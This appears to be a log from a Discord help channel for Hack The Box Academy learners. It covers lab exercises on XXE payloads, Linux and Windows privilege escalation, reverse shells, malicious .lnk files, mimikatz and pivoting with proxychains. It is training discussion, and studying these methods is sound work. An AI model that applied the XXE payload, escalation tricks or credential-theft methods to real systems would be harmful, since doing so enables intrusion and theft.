Origin: http://ip:port
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

ip=payload(the same paylaod works sometimes yes sometimes no)```

[normal sand]

Where are you seeing an extra entity contet? I can't see it.

[cloud urchin]

you're giving answers away you should delete that code

[uneven cairn]

then how i would get help?

[cloud urchin]

just articulate it

you're giving away content of the module and spoilers

[next bronze]

either: compile on target, statically compile on your host gcc -static or compile in a vm with smilar or lower library versions

[normal sand]

But if I compile on target then it'll no longer have the setuid bit for the root user?

[eager ledge]

The external DTD that we host is:

<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">```. It looks like a nested entity. But why is it necessary?

[normal sand]

What's the -static option do?

[uneven cairn]

content of the module? dude

[safe star]

Why not?

[normal sand]

It may still have the setuid bit but the file owner will change, won't it?

I'll test it out and see.

[safe star]

Doesn’t the file permissions change on every machine?

[normal sand]

The first line is defining the file we want to retrieve. The second one is throwing the error.

[normal sand]

If you look at the example at the end of that section, it may make more sense to you.

[eager ledge]

The error is thrown when we reference non existing entity. Let me rephrase my question. Why does the DTD not look like:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error SYSTEM '%nonExistingEntity;/%file;'>```?

[normal sand]

Not 100% I get what you're saying, but in this case because of the way that NFS is configured, if I copy a file owned by the local root user with the setuid bit set, it retains the permissions, and then I can use that to escalate privileges from the target. So, the permission doesn't change in this case, however, if I compile the program, it does change since I'm running gcc as the low-privileged user.

[normal sand]

Ahh, seems I misunderstood your question. I don't get why that extra "> bit is there at the end.

[safe star]

Oh yeah for NFS some permissions stay. didn’t click the module

[safe star]

Does it have to be a compiled file?

[eager ledge]

Not just that. I mean generally we define XML external entity as <!ENTITY {entity_name} SYSTEM {entity_value}. But in this particular section, the entity_value itself looks like a new entity definition <!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>.

[normal sand]

In this case, yes. I ended up taking Xre0uS's advicea and used the -static flag. It compiled.

I already tried with BASH scripts but that didn't work, it just ran with the low-privileged user's permissions.

Reverse shells didn't give root either.

[eager ledge]

Does embedding another entity definition as content of one entity mean that the content entity will be parsed dynamically?

I see the same pattern on the Blind Data Exfiltration as well where entity nesting is done.

[normal sand]

Wait, how does it look like a new entity definition? There's no defining happening? It's just referencing/calling entities?

[eager ledge]

If we look at <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">, it follows the format <!ENTITY {entity_name} SYSTEM {entity_value}. The entity_value in this case is <!ENTITY content SYSTEM '%nonExistingEntity;/%file;'> which again follows the same format! Why?

[normal sand]

Okay, got it now. Sry, it's been a while for me and I haven't cleaned up my notes on a lot of parts yet.
I guess it's the nesting that allows for this to work?

@eager ledge if someone gives a proper answer, would you please ping me? Thanks.

[eager ledge]

Sure

[vocal rover]

Hello can someone please help in solving following question.

What is the name of the security standard for credit card payments that a company must adhere to? (Answer Format: acronym)

I tried all possible answers. None of them is correct. I don't know what is the issue.

[somber fiber]

read the module

[shell ore]

i think its clearly mentioned in the module/section u just read

[somber fiber]

Please i beg you guys.

like really you have the answers on your screen and you are asking here

[thorn walrus]

Can't spawn the Tomcat target on Attacking Common Applications 🥴 Does anyone have the problem?

[somber fiber]

i can give answer too but you still won't get it people connecting ideas, driving smart solutions.

[shell ore]

<@&861185840277487616>

[somber fiber]

what is this at?

[vocal rover]

I did try harder. And just wow.

[shell ore]

not u bro chill, someone was advertising here

[somber fiber]

i know

[vocal rover]

it's was in corner.

[somber fiber]

but whats power does it have?

[shell ore]

well rule break, so when someone does smth against the rules, u report it like here

and u can assume what a mod will do when someone break the rules so

[thorn walrus]

I install Privacy Badger for Firefox and the target spawned. I assume the HTBA page was trying to load a domain that blocked in my country. Maybe I'm wrong

[median gale]

In AD Enumeration & Attacks - Skills Assessment Part I we are supposed to upload all the tools needed?

[limpid hemlock]

Hey could someone help me in exploiting web vulnerabilities thick client applications after we download the fatty server. Jar file

[elder kraken]

someone can help me ?

[storm elk]

feel free to dm me your steps and I will give you a nudge if needed 🙂

[elder kraken]

i'm cominf

g

[storm elk]

ok

[median gale]

Got a rev shell on Attackin AD Skill Ass 1 but it doesnt return the output of the commands any ideas what could be wrong with the shell ?

Same commands on the web shell execute perfectly

[analog dock]

Try a different revshell maybe?

[median gale]

Other payloads give me the followin page. Think this part of the set up ? Though the tools needed for SA are not in the webshell, or cant upload them although there is an upload option, catn find the file after beeing uploaded ( on the same directroy )

[analog dock]

What question are you on?

I just used windows/shell_reverse_tcp from msfvenom

[median gale]

Only answered the first question of the assessment, let me try yours, one moment

[median gale]

How did you transfer the payload to the webshell?

[analog dock]

Isn’t there just an upload function on the shell?

[median gale]

Yes, but after upload cant find the files I upload. Shouldnt they be on the same folder?

[median gale]

Fail to upload for exes

[shell ore]

tbh, what i did backthen, is just got a powershell reverse shell

didnt upload anything

[median gale]

One liner?

[shell ore]

try that ¯_(ツ)_/¯

[shell ore]

yeah the base64 encoded one, from revshells.com

[median gale]

@shell ore I get this

[median gale]

Let me try this one

[median gale]

I dont know why the f your solution worked and all the other payloads didnt but thank you A LOT ❤️

[shell ore]

lol, good luck w the rest

[median gale]

All the exes where uploaded here, dont know if i should have known that

[zenith schooner]

sorry fo the delay. Unexpected friend gone to heaven. Yes, I did. The whole URL I should send to the victim.

[worldly badger]

Password Attack module, Skill Assessment - Hard Lab. When im connecting to david smb share with credentials i obtained via kdbx file, i can see "Backup.vhd" file. But i cant download it with "get Backup.vhd" for some reason. every time i get "smb: > get Backup.vhd
parallel_read returned NT_STATUS_IO_TIMEOUT
smb: > getting file \Backup.vhd of size 136315392 as Backup.vhd SMBecho failed (NT_STATUS_INVALID_NETWORK_RESPONSE). The connection is disconnected now" message. any idea how to fix?

[shell ore]

cuz the file is large, ig u can try mounting the share on ur box, then copy it locally (SHOULD work)

mount -t cifs //[server-ip]/[share-path] /[mount-point]

[rustic sage]

Colleagues I have C drive to share and take the sam base to my localhost and I have mounted the smbserver.py but I have the following error when moving the files the network path was not found -->Module Pivoting, Tunneling, and Port Forwarding

sudo proxychains xfreerdp /v:172.16.5.35 /u:mlefay /p:'Simple human work!' /unit:C,*

Hi everyone. I'm going through the Password attacks module and I'm stuck on "Network Services". I'm trying to find the RDP user and password, I used the dictionary from HTB but crackmapexec didn't give me anything.

[worldly badger]

thanks so much, command "sudo mount -t cifs -o username=<win_share_user> //WIN_SHARE_IP/<share_name> /mnt/win_share" helped. This was due to the size of file.

[exotic copper]

Hello I am on the broke authentication module and i am on the question On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?

[shell ore]

wlc

[shell mason]

Having some trouble on the web fuzzing module, It has told me to search for virtual hosts using gobuster and the common wordlist, but nothing shows up.

I'm not asking for an answer to it, but more what exactly im doing wrong

[exotic copper]

but I cant seem to find the answer in the module, please can anyone give me a hint

[rustic sage]

But I've already shared a drive from my machine to windows I imagine I could already pass the base through this method

[shut vapor]

Yes, and the computer in the foreign network (172.26..) doesn't know how to reach your attack system in 10.129.x.y.

[quiet trout]

can you double check that its actually asking for gobuster? i think it wants you to fuzz vhost with ffuf. if its gobuster, i've had kinda piss poor experience getting it to properly enum vhosts correctly every time ive attempted to do so. ffuf does a better job for that.

[shell mason]

yea start of the question says "using gobuster", should i just use ffuf or should i actually go along with what the module says

i dont necessarily wanna spoil the experience ykwim

[quiet trout]

Go with the module, i think a header needs to be included in there.

just know in real world, i dont think anyone vhost fuzzes with gobuster, though its a great tool and i prefer it to ffuf, it just doesnt like to work right (for me at least) with vhosts

[shell mason]

ah i see

alright thank u

[quiet trout]

im starting a pwnbox instance ill check for gobuster

see if the header info i mentioned is valid

ffuf requires a header (where to fuzz, vhosts oeprate on host header directives usually)

[shell mason]

it alters host header by default

[rustic sage]

Perfect through trial and error I can already pass the database to sharing a resource of my machine but I am trying to do it with smberver.py and I have not been able to

[quiet trout]

yeah that may be a builtin feature, but i still think you need to target the header, try this -H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'

something like -H 'Host: FUZZ'

[shell mason]

added this to the end

but would gobuster use the keyword FUZZ?

[quiet trout]

im drawing a blank atm (just woke up, still sipping coffee)

[shut vapor]

Instead of trying to send the database to 10.129.X.Y, can you try sending it to another computer with which it can communicate. How can you leverage what you learned in the pivoting section to get that traffic back to your attack system?

This is a tough one if you don't have a solid understanding of how computers communicate on a network.

[quiet trout]

the modules ive done have extensively used ffuf, and my gobuster has suffered as a consequence

im trying not to draw from internet examples because i never had any luck with those but maybe a peek at how they handle hosth eaders may help

[rustic sage]

I think that in this case it would be necessary to take it to the webadmin host which is the point of support with windows and my attacking machine I think that there should be the most obvious to my perception

[quiet trout]

ok looks like the host header is not STRICTLY required, so best to leave it off and see what results you get

[shell mason]

whats weird is it says that it went through 99.8% of the list

why not 100%?

[quiet trout]

@shell mason for a sanity check remove the --apend-domain from your cmd, and add a -v (for verbose i think?) and check for HTTP status errors or content lengths some filtering may be required

not sure about that 99.8% stuff

[shell mason]

👍

[quiet trout]

if you're seeing a ton of 3XX or 4/5XX errors, (specifically 300s and 400s) you'll need to filter for those in some fashion, either by code or content length(s)

[rustic sage]

Anyone who has taken the Password Attacks module? I really need some help

[quiet trout]

yep, a few weeks ago just. where you at?

[ocean night]

Take nudges etc to DM please

Not here

👆

[shell mason]

my fault OG

[quiet trout]

I think thats a diff password cracking module, i didnt recognize the specific part you were on

someone else whos worked that one will prob be around soon who can better help.

[rustic sage]

@quiet trout that

[gray yacht]

You can send me a DM.

[quiet trout]

On the API Attacks -> Info Disclosure section a tip is provided for bypassing rate limits with a code snip:

https://academy.hackthebox.com/module/160/section/1474

<?php $whitelist = array("127.0.0.1", "1.3.3.7"); if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist))) { header("HTTP/1.1 401 Unauthorized"); } else { print("Hello Developer team! As you know, we are working on building a way for users to see website pages in real pages but behind our own Proxies!"); }

i understand what its doing, but not why... if the HTTP_X_FORWARDED_FOR header does not match the whitelist, and sets the 401 status, does the web server recognize this? is thats all thats necessary to return a 401? why wouldnt the web server return a 201 with the 401 unauth header? is that not how it works? is setting the http header all thats required to return a status code? (alternatively could a custom 404 page be returned with a 201?)

nvm chat gpt gave me a stomachable answer. it looks like the web server does handle this as one would expect and it is technically possible to send conflicting responses but it apparently overrides any default response the web server would send.

[old oasis]

stomachable answer, imma use that 😄

[wooden coyote]

is there a way to reset module progress if i havent touched it in months and want to start over?

[quiet trout]

yeah it also works as a precautionary flame suit in case chatgpt gave me total bullshit, which is usually the case.

[old oasis]

I don't think there is an option for that.

[gray yacht]

You could always reach out to support and see if that's something they can do.

[wooden coyote]

yeah fair enough. i guess i could also just try not to look at the answers

[gray yacht]

Depending on where you are some section questions and answers have been updated, so those answers wouldn't match up. But yeah I mean that should work.

[old oasis]

The steps leading up to the answer are just as important

so take the chance to make good notes

[analog dock]

Did anyone finish SA 1 from intro to whitebox? I managed to get the auth token, and I think I know where the ||code injection|| is, but I do not know how to extract the /flag.txt from it

[median wing]

Module: Network Enumeration with Nmap
Section: Host and Port Scanning
Hey, I'm really struggling with the second task in this section:
Enumerate the hostname of your target and submit it as the answer. (case-sensitive)
I've tried using the following flags:
-A
-sC -sV
and I got some kind of a flag, but it's not the correct answer. What am i doing wrong?

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 08:09 CDT
Nmap scan report for 10.129.2.49
Host is up (0.0087s latency).

PORT      STATE SERVICE VERSION
31337/tcp open  Elite?
| fingerprint-strings: 
|   GetRequest: 
|_    220 HTB{SOME-FLAG-HERE}

[normal sand]

Module: Linux Privilege Escalation
Section: Shared Libraries
Link to section: https://academy.hackthebox.com/module/51/section/475

Can someone please explain to me in what scenario the privilege escalation method discussed in this section would not work? Or does it always work as long as the user has sudo rights (this doesn't sound right)? 🤔

[normal sand]

If you've used the flags -sV -sC -A, then I have a good feeling that the hostname is likely in your output. Have you checked the output properly?

[median wing]

There is a flag, but when I copy it into the reply box it is incorrect

[normal sand]

The question has asked you for the target's hostname, they never said flag.

[next bronze]

the user need to have rights to restart a privileged process that reads shared libraries from the libraries env path

tbh I've not seen this vector outside of this exercise

[normal sand]

Wdym by "libraries env path"? Are you referring to the LD_PRELOAD variable?

[next bronze]

yeah

[normal sand]

I have noticed something different. When I run sudo -l, I get this in the output env_keep+=LD_PRELOAD. Do you think this is a good indication to try out this vector?

[normal sand]

I see.

[next bronze]

probably, but yeah this is not common

[normal sand]

Understood, thanks.

Btw @next bronze the Linux priv esc module has a suggested completion duration of 8 hours. Is it just me or does it take a lot longer than that?

[next bronze]

pretty sure it took me more than 8 when I did it

[normal sand]

Ahh okay, good to know. I thought it was just me, I've been on it a couple days, not doing it all day though, have had other things come up.

[next bronze]

yeah just take your time, the suggestions are just suggestions

[normal sand]

Got Windows Priv esc after this 🫠

Module: Linux Privilege Escalation
Section: Shared Object Hijacking
Link to section: https://academy.hackthebox.com/module/51/section/476

In the section there's this command:

cp /lib/x86_64-linux-gnu/libc.so.6 <REDACTED>

Is the .6 in /lib/x86_64-linux-gnu/libc.so.6 a mistake?

[cobalt shoal]

Hi

im doing "using the metasploit framework module." (section modules) and im stuck in this exercise:" Use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator's desktop and submit the contents as the answer." no matter how I try, when it comes to exploit part it always showing : Exploit completed, but no session was created." can anyone explain me why?

[sleek urchin]

I believe there are couple of EternalRomance exploits in metasploit, make sure to try them all, and make sure to set the options correctly, like LHOST, LPORT, etc...

[forest gust]

https://academy.hackthebox.com/module/67/section/630
Section: Interacting with Users

Help, I don't understand at all what to do in this module. He breaks my might.
I don't understand how to get a hash.

[median gale]

Which was the hardest module for you in the pentester path?

[cobalt shoal]

I tried everything but no results

[sleek urchin]

make sure that VPN is connected properly

[thorny sluice]

For info-gathering web edition does anyone have any clues to answer the skill assessment "What is the API key in the hidden admin directory that you have discovered on the target system"? I ran dnsenum, ffuf and ffuf recursively along with gobuster

[old oasis]

If you want a nudge DM me , with the steps that you have taken so far

[next bronze]

https://packages.debian.org/unstable/libc6

[sleek urchin]

this section focuses on the idea of stealing credentials in unique ways in Windows environments, from the hint it asks you to find a writable share by the current user (Netexec & CrackMapExec are great tools for that purpose)

[vestal sapphire]

Hello everyone, I am stuck and struggling to find informations on the module "Dynamic Port Forwarding with SSH and SOCKS Tunneling"
https://academy.hackthebox.com/module/158/section/1426
I have an issue with proxychains, as I have all hosts down when I scan the target with nmap after having a dynamic port forward made with ssh -D 9050 ubuntu@[IP]

then I either use -Pn on a specific open host, and I have no services up, or I try -sn with a range

Thanks in advance

[normal sand]

Ah, thanks. I also just noticed that it wasn't a mistake.

[sleek urchin]

uploading something in that writable share will trigger another thing in responder then you should easily get the answer to the question

[cobalt shoal]

nothing

[forest gust]

Yes, I kind of do it. 😦

I just got something, I use the 3rd method. But I capture my own logs.

[sleek urchin]

you should upload a Malicious File to any writable share available and wait couple of minutes, and smbclient is a great tool for that

[forest gust]

the problem is that I don't understand which file to take for the attack

[sleek urchin]

you only have a handful of them used in the section, upload all of them and one will certainly work, wait couple of minutes for the trigger to take place

[limber river]

make sure you upload in the right place

and this is not the one

[forest gust]

How should I understand which folder is in this module? right

[limber river]

think about it , you should upload a file to a share

is that a share ?

[forest gust]

C:\Department Shares\Public

[limber river]

you could try

[forest gust]

I download all the files through this folder

[limber river]

download why ?

re-read the section

[full wagon]

I have serious connectivity issues with modules. Where should I direct that?

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[forest gust]

That's not my problem. The problem is that reading the module, I don't understand how to use what they want in the module. Whether it's Generating a Malicious .lnk File

[limber river]

you need to generate a malicious .lnk file , then make your target running it as simple as that

[median gale]

I think i got a flag the wrong way, could someone point me to the right direct way?

Got the crednetials to the user and to find the ip of the reffered machine i scanned the network with nmap, found 3 hosts and rdp'ed to first one

Although given the flag i should have ||audited group memberships||.

[next bronze]

yeah that's fine

[median gale]

I didnt audit any group memberships though, what did I miss then?

[forest gust]

Can you tell me in which folder the file should be uploaded? I don't understand what folder is needed for this module. I just don't see it in the module description or on the C drive

[limber river]

you should find it yourself

[hard matrix]

Should probably read up on the exploit you're performing and why it works in the first place instead of asking for direct handholding.

nothing wrong with asking for help

[forest gust]

I just went through folders at random and grabbed the right hash

🫡

[loud socket]

Tbh if u got the flag that's the only thing that matters

[deft dust]

Hi im stuck on the OSINT: Corperate Recon > Cloud Storage Question: Investigate the website and find the bucket name of AWS that the company used and submit it as the answer. (Format: sub.domain.tld)
I have been looking in on the website souce code and using tools like ip2provider but am unable to get the bucket name of AWS the inlanefreight.com uses.

[next bronze]

you can check after to find out why your way worked

[next bronze]

check the website source code, grep for s3

[deft dust]

so use curl and grep?

ill try it out

[next bronze]

yep

[deft dust]

Got no output 😦

just used the same method on a couple other pages on the website and found it thanks for the help @next bronze

[wooden coyote]

btw I figured out how to solve my problem of 'resetting' the module. I used TamperMonkey and GPT helped me write some JavaScript to blank completed answers out unless I hover over them.

[exotic copper]

Please can someone help me with this qustion in the broken authentication module On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?

I cant seem to find the answer

[gray yacht]

Reread that section. The answer is there.

[exotic copper]

Please can you give me a hint on where to look ive read and re read the section but cant find it

[gray yacht]

Maybe try to keyword search for it. If you don't understand what I mean by that let me know.

[rustic sage]

cant talk in offtopic

does anyone know

[storm elk]

Hey. Welcome. Read #welcome and it’ll explain why and tell you exactly what to do

[rustic sage]

hey goblins frnd

nice to meet u

[storm elk]

Nice to meet you too

[hard matrix]

wish i were goblin friend

[rustic sage]

goblin is a sweetheart

@ocean night gobby im here

[ocean night]

Hey @rustic sage 👋

[rustic sage]

nice to be here

[ocean night]

If you want to chat in #general you'll need to follow the instructions in #welcome 🙂
Happy to have you

[rustic sage]

bet

[gray yacht]

Lol

[ancient lark]

Hi there, I am currently doing the "Active Directory Penetration Tester" path. Is the knowledge gained here good for OSCP?

[dim wolf]

IIRC that path is out of scope for OSCP, but i could be wrong

[old oasis]

its overkill for OSCP as far as I know

[lusty hearth]

Can some one help me with the Pillaging module?

**Find the configuration file for the application you identify and attempt to obtain the credentials for the user Grace. What is the password for the local account, Grace? **

Tried the example with the 6 available password nodes in the confCons file and their backup

[ancient lark]

If I would complete the path, OSCP should be easier? Or is there way different stuff being explained in this path?

[next bronze]

yep definitely out of scope

[old oasis]

I think CPTS is more relevant in that case

[next bronze]

you'll be learning stuff that likely won't get tested

[ancient lark]

Ah ok thanks guys!

[wooden silo]

Can I ask for module help in this channel?

[old oasis]

yes

[limber river]

That knowledge is beyond OSCP

[normal sand]

The command I mentioned earlier, in the module section... why does it copy libc as libshared??

[somber fiber]

certainly beyomd.

[limber river]

lol

[somber fiber]

i liked that typing fumble.

or typo

this happen all the time with me.

[limber river]

yeah , I made too much typos

[somber fiber]

some time make bor 🐷 of bro

[next bronze]

check the previous command, the binary is trying to load libshared.so

[normal sand]

I don't get what you're saying? 😅

[normal sand]

I can see that libshared.so is one of the dependencies. Why is it copying it as the name of another dependency though?

[next bronze]

it's explained in the section

[normal sand]

Oh, is it so it throws the error about dbquery()?

And then we can redefine it to suit our needs?

[next bronze]

yes so you know which function it's trying to call, and you can make that functon a shell or whatever

[normal sand]

Got it, thanks. Sry for the trouble.

[next bronze]

technically you can just decomple the program too

or do a strace

[normal sand]

Oh, noted. What would you use to decompile?

[next bronze]

[shut vapor]

lol there's an emoji for that?

[normal sand]

In what instances does this privilege escalation vector not work?

[next bronze]

if you can run the program as sudo, or if it contains some important data you can exploit or if it communicates with other important processes

but that's going into RE as you'd need to understand what it actually does beyond just making it run a shell

[normal sand]

That's quite a wide range to cover.

[next bronze]

yep that's binexp and RE, for cpts you'd just need to understand the senario given in the module

[normal sand]

Also, the question at the end of the section has already carried out all the steps? So, I have to delete the library it compiled if I want to redo the steps?

[next bronze]

has it? you can compile a new one

[normal sand]

Yeah, apparently so 😂

I just redid it, so it's all good.

[normal sand]

I chatGPT'ed this command but I still don't quite get it. Do you happen to understand the parameters?

gcc src.c -fPIC -shared -o <REDACTED FILE PATH>

-fPIC and -shared specifically.

[next bronze]

when in doubt consule the manual https://gcc.gnu.org/onlinedocs/gcc/Option-Summary.html

but -shared is to create a shared library .so file

[normal sand]

Read it and now my brain hurts 🤣

Seems to work even without the fPIC flag

Prolly best to stick with it though based on the little I understand from GPT's explanation.

[timid ledge]

Hello All,
I'm new to HackTheBox, Is it safe to download files directly to my local laptop, or is there a risk of spreading malware? I'd appreciate any suggestions on how to download them safely.

[safe star]

Bro what at are u asking it? 😭

[normal sand]

Just doing my best to understand what it is I'm running 🫠

[old oasis]

Atleast you going in the right direction 😉

[safe star]

From what I understand, fPIC makes the shared library be able to get loaded from anywhere in memory that the program chooses.

[safe star]

That’s why this worked without it, because only one program was using it at that time. If multiple were using it at the same time, there would probably be a memory conflict

[forest gust]

https://academy.hackthebox.com/module/67/section/1637
Question I'm right to go to the site through my browser. The second I don't see as in example "d" cookies. After looking at other cookies, I also did not find anything suitable

[next bronze]

you'll need to add it yourself after extracting them from the target

[forest gust]

It's just that the task also says that I must use a browser on an RDP connection. But there is no Internet there.

[next bronze]

well have you tried accessing?

[next bronze]

what's the domain given in the question?

[forest gust]

I understand what you mean. I'll try.

[somber fiber]

do you guys also think this is a rabithole 😅

[forest gust]

inlanefreight .slack .com I tried how it was on one of the examples. But it still doesn't work

[quiet trout]

regarding API enumeration, some of the API labs have you start off with a get req and/or curl -X OPTIONS ... to the api endpoint... is the info returned (if any) to be udnerstood as options for the entire API? all endpoints belonging to the API? (you wouldnt say... curl -X OPTIONS ../api/userinfo or ,../api/groupinfo and expect differening http methods allowed/disallowed on different endpoints?

[somber fiber]

added into the hosts?

[forest gust]

on rdp no internet

[somber fiber]

i see

try on local system (VM) cause its .com

not sure might work

[forest gust]

It's just that the task tells me what to do via RDP, and when I do it through my browser, I don't capture the cookies I want.

[open yew]

I need help with Zephyr initial foothold. Anyone?

[safe star]

#1263635449335910531

[somber fiber]

wrong channel

[grave wyvern]

a month ago i had a link from snapchat and i could put in peoples old usernames and it would show their new usernames they changed it too does anyone know what this link is?

[sick whale]

I'm getting a bit fed up with RDP on AD machines...

[16:05:28:351] [83225:83226] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[16:05:28:351] [83225:83226] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[16:05:28:351] [83225:83226] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

Doesn't matter if I try immediately after spawn, 10min after spawn of 45min...

Any idea?

Command was: xfreerdp /v:10.129.253.234 /u:htb-student /p:'Academy_student_DA!' /dynamic-resolution

[somber fiber]

well i also got disconneted from the rdp and not connecting back

trying to get new ip and see if that works

[sick whale]

Already went through 4 reset, let me know if you get in

[somber fiber]

Im in

Should i ?

[sick whale]

Probably not hahaha

Still doesn't work here...

[somber fiber]

Guys need help with this before i go to sleep i got this flag but its not accepting {e4...2a}

https://academy.hackthebox.com/module/24/section/160

[sick whale]

I have a different flag

So I guess you got it wrong somewhere

[topaz cliff]

Is there any reason why
Cross-Site Scripting (XSS) —> DOM XSS —> Questions
returns two flags, one of which is correct?

[somber fiber]

isn't the point of this excercise to upload the file on win and unzip there?

[somber fiber]

can try by submitting both? how's that idea?

[sick whale]

Yes it is

[somber fiber]

its same on my base machine and on RDP win too

[topaz cliff]

I have completed the task. I need to know if there is any technical purpose or something like that.

[somber fiber]

ok got it for that i can't answer i hope someone will responce on your request.

[safe star]

That might be a flag for another section

[somber fiber]

can i dm?

[sick whale]

Sure

[topaz cliff]

Just had one question about this part.

[junior oxide]

is it normal for sharpup.exe to show you that you can modify a binary and when you check that binary you find its not permissible to you to (stop,write,modify) the service only start and execute (its been the case with manual operations as well)?

[terse aurora]

Hello! I'm having some touble with the Bash Scripting module at flow control - loops. I can't get the code to work...

for i in {1..28}; do
var=$(echo -n $var | base64)
done

salt=${#var}

I get something like bad decrypt

If someone can help, that would be very much appreciated

[sick whale]

Is that the whole code?

you define var with var, is it initialised for the first iteration?

[rustic sage]

ways to transfer file from windows to kali?. smbserver is not working.

[sick whale]

base64 / scp / webserver + wget

[forest gust]

https://academy.hackthebox.com/module/67/section/1637
I need a hint. I got a backup, but how do I get a hash. I understand I need to send a SAM and SYSTEM file to my Kali but I can't find a way how to do it.

[terse aurora]

The for loop is the part I've added. I even tried it for each i, but it still doesn't work

[ocean night]

Take that to DM please.

[forest gust]

can you give me a hint

[ocean night]

I cannot, sorry

If you're having issues with a specific section or module, I'd recommend reading back over the train ing material, taking notes and applying it to your attempts on the evaluation steps.

[forest gust]

So I read the module again. But it doesn't say how to get a hash after we made a backup

[tired turret]

wassup guys , day 1 vip, not having the best of luck with my first module.

I have gotten many awnsers with many scripts but none of them work 😦

[vital falcon]

Hey , can someone help with Windows PrivEs skilss asses 1 ?

[safe star]

does not start with e

[gray yacht]

You can DM me what you have tried.

[livid pier]

@acoustic owl You have powers now?

[midnight galleon]

In windows priv esc communication with processes
At the end they just tell you about named pipes and link a msf exploit Without showing privesc?

[rustic sage]

unable to run rubeus.exe. it says this version is not designed to run on this system. Tried powerview script. it also shows the hell of errors. doing ad enumeration skill assesment

[midnight galleon]

<@&861185840277487616>

[burnt stone]

Thanks

Let's keep government affairs out of this @midnight galleon

[strange forge]

funny amount of errors, when running powerview.ps1

[limber river]

It should work, unless you had a problem in uploading file or you are using a very old powershell version

[tardy pike]

Can anyone help me with the noSql injections skills assessment 2? I am very stuck.

[echo rune]

Does anyone have anything that can help me complete Intro to assembly language skills assessment question 2: I’ve been on it for 2 days. I’m able to send the shell out to the listening port on the target server but it fails to run.

[tardy pike]

Got it

[sweet jewel]

you wgetted powerview wrongly, looks like you're trying to invoke some html

[sweet jewel]

your rubeus binary might be compiled for the wrong .net version, where did u get it from?

[cloud urchin]

Sounds like you didn't download the right file. I see this happen when this https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 gets downloaded instead of this https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1

[spare path]

Hey can I get some assistance on the Public Exploits section? I've checked the ||IP:PORT and found the relevant webpage which tells me there's a simple backup plugin 2.7.10 running when searching I was able to find a module named "WordPress Simple Backup File Read Vulnerability" however running this doesn't seem to get me anywhere|| not sure if it's a misconfig of my RHOSTS or what but I suspect I may have not found the right exploit for the vulnerability.
https://academy.hackthebox.com/module/77/section/843

[cloud urchin]

can you type 'options' and show the settings?

and the RHOSTS matches the target you spawned?

[spare path]

yep

it seems to run and then say module execution completed but I'm not sure where to go next

[cloud urchin]

when you run it, does it say successful and show you the saved file location?

[spare path]

the first time I ran it I did get a file saved

[cloud urchin]

so it sounds like it worked

[spare path]

when I opened it there was quite a bit of info in there

[cloud urchin]

you can cahnge the FILEPATH option to change it to another file

[spare path]

it saved it locally

[cloud urchin]

you're on the right track, it worked.

so now instead of reading /etc/passwd, what file are you looking for here?

[spare path]

/flag.txt

ahhh

let me try this again

[strange forge]

error while running mimikatz. downloaded it from https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe.

[spare path]

wooohoo thank you @cloud urchin!!

[cloud urchin]

Looks like you can't use that one with that OS. I'd recommend making your own folder with various common tools, it'll save you a lot of time in the future. When you're working through the modules you can grab the executables that are in the c:\tools folder. Another good binary resource is https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.

Also if the link you provided is the literal link you used, you need the raw link. https://github.com/ParrotSec/mimikatz/raw/refs/heads/master/x64/mimikatz.exe

[strange forge]

Thanks brother. I will do as i get free after the module. Also it fixed the problem. how did u generate the raw link thou?

[cloud urchin]

visit your link in your browser, it's not actually the binary you can download. It's a github page that shows the code, but since that's a compiled binary it won't show anything. in the upper right there's a few download links, one of them is "raw" which gives the link i gave you.

[cloud urchin]

No, you don't need to complete those modules to complete the Penetration Testing Process module, if that's what you're asking

well, you will definitely need to know the fundamentals to complete the course/path. depends on your starting point.

[fringe shell]

if you know how to cd into a new directory and where the passwords are stored on each platform, you don't really need these

The web apps part of CPTS was probably the roughest part for me. Everything in the exam is within the modules though (although some things defintely required external research), so just make sure you have a good understanding of what to look for.

[fringe shell]

I just finished this myself. Was hard work figuring it out for sure 😅

[rocky estuary]

guys i'm doing the skill assessment of pivot module i found the id_rsa and i dynamic port forwarding with ssh but i can't find any up host with nmap "proxychains nmap -sn 172.16.5.1-200"

[oblique eagle]

Where can i find reports or articles on attacks using certain CVEs,i don't want an explanation to the CVE, i only want attacks that exploited a certain CVE

[cloud urchin]

I believe that's because raw network packets like ICMP don't work well with proxychains

try -sT instead of -sn

[wooden silo]

which mod here can't read japanese?

[storm elk]

Your name was all non-English characters. So it was changed according to rule #10 🙂 if you verify your account, your HTB name will show

[rocky estuary]

same thing it says socket error or timeout but its says ok for 172.16.5.15:80 which is the given machine

[cloud urchin]

sounds like something's wrong with your connection or proxy then, did the machine die?

[rocky estuary]

i found the ip for the second machine by looking for the response time after the scan done and i can port scan it but i can't ping it or find it with ping sweep

[proper oar]

ping is ICMP, it won't work through the proxy

[rocky estuary]

how then i can enum the internal network ?

[proper oar]

nmap common ports across the subnet

[rocky estuary]

this will take forever especially on big scope

[proper oar]

if you do all ports yes

common ones, less likely., or if you are looking for a particular service scan for just that / only a few common ports

[rocky estuary]

even with just top 1000 will take forever because the proxychains maybe i will try different port like 443 instead of 80

[jolly vale]

Hello, I need to ask I almost finished the enum & atk AD , can I go to start zephyr?

[fringe shell]

